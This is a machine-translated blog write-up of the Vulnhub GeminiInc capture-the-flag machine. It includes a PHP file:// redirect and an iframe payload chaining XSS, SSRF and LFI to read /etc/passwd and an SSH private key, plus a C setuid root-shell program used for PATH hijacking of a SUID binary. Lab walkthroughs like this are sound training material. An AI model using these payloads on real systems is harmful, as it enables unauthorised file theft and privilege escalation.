当前位置:网站首页>Vulnhub geminiinc
Vulnhub geminiinc
2022-07-03 11:47:00 【Plum_ Flowers_ seven】
Catalog
Two 、 Service version detection
3、 ... and 、 information gathering
6、 ... and 、 information gathering
7、 ... and 、 Combined boxing XSS+SSRF+LFI
8、 ... and 、 Read gemini Private key
2.ssh Public private key login
1. /usr/bin/listinfo File analysis
11、 ... and 、 The system command file is forged
2. Modify environment variables
One 、 The host found
Half open scan
nmap -sS ip
Two 、 Service version detection

3、 ... and 、 information gathering
1. Unable to load
80 The resources of the port cannot be loaded normally , Because I have been visiting Google Some sites of , Hang a ladder to visit .

2. The main page
The source code address is given to us

3. Source code
View one by one , stay install Under the folder [email protected]

4. Try signing in
Successfully logged in , There are more functions in the upper left corner 
Four 、 Analysis function
1.export Output pdf

2.edit profile Edit the file
The information we modify will be displayed intact on the information board . There is no filter at the user name ,

5、 ... and 、 Storage type xss
Not enough to help us break through the border

6、 ... and 、 information gathering
1.export Output
We found an application in document attributes . It's just one. html turn pdf Application .

7、 ... and 、 Combined boxing XSS+SSRF+LFI
After searching , We can know that these three vulnerabilities exist in this application component . Through the combination of vulnerabilities , To read local files .
1. Local open apache service
systemctl start apache2
cd /var/www/html
sudo vim 1.php
Create a 1.php file
write in :
<?php
$file = $_GET['file'];
header("location:file://$file");2. Inject payload
<iframe src="http://ip/1.php?file=/etc/passwd" width="100%" height=1220></iframe>
3.export Trigger
Successfully read /etc/passwd file . You can see gemini Can pass shell Sign in

8、 ... and 、 Read gemini Private key

Save to kali On

2.ssh Public private key login
Successfully logged in

Nine 、find Information search
find / -type f -user root -perm -u+xs -ls 2>/dev/null

Ten 、 Binary file view
1. /usr/bin/listinfo File analysis
strings /usr/bin/listinfo
Content :
The core code is these sentences , Called the system command

2. The implementation of

11、 ... and 、 The system command file is forged
1. newly build date file
vim date.c

Content :
#include<sys/types.h>
#include<unistd.h>
#include<stdlib.h>
int main(){
setuid(0);
setgid(0);
system("/bin/bash");
}2. Modify environment variables
First look at the front , Then look from the back
export PATH=/tmp:$PATH
3. perform listinfo
Mention right to success

Get flag.txt
边栏推荐
- Viewing binary bin files with notepad++ editor
- CSRF
- MySQL searches and sorts out common methods according to time
- Extrapolated scatter data
- R language uses grid of gridextra package The array function combines multiple visual images of the ggplot2 package horizontally, and the ncol parameter defines the number of columns of the combined g
- DS90UB949
- STL tutorial 10 container commonalities and usage scenarios
- 动态规划(区间dp)
- Asyncio warning deprecationwarning: there is no current event loop
- 在CoreOS下部署WordPress实例教程
猜你喜欢

After using the thread pool for so long, do you really know how to reasonably configure the number of threads?

GCC compilation process and dynamic link library and static link library

Qt+VTK+OCCT读取IGES/STEP模型

PHP server interacts with redis with a large number of close_ Wait analysis

DS90UB949

Viewing binary bin files with notepad++ editor

This article explains the complex relationship between MCU, arm, MCU, DSP, FPGA and embedded system

ASP.NET-酒店管理系统

vulnhub之Ripper

小鹏 P7 撞护栏安全气囊未弹出,官方回应称撞击力度未达到弹出要求
随机推荐
P3250 [hnoi2016] Network + [necpc2022] f.tree path tree section + segment tree maintenance heap
剑指offer专项32-96题做题笔记
PHP Basics
【学习笔记】dp 状态与转移
Groovy测试类 和 Junit测试
Cadence background color setting
Based on MCU, how to realize OTA differential upgrade with zero code and no development?
STL tutorial 10 container commonalities and usage scenarios
2022年湖南工学院ACM集训第二次周测题解
银泰百货点燃城市“夜经济”
动态规划(区间dp)
C language AES encryption and decryption
Key switch: press FN when pressing F1-F12
Use typora to draw flow chart, sequence diagram, sequence diagram, Gantt chart, etc. for detailed explanation
Redis things
After setting up ADG, instance 2 cannot start ora-29760: instance_ number parameter not specified
Numpy np. Max and np Maximum implements the relu function
R language uses grid of gridextra package The array function combines multiple visual images of the lattice package horizontally, and the ncol parameter defines the number of columns of the combined g
《剑指offer 03》数组中重复的数字
R语言使用aggregate函数计算dataframe数据分组聚合的均值(sum)、不设置na.rm计算的结果、如果分组中包含缺失值NA则计算结果也为NA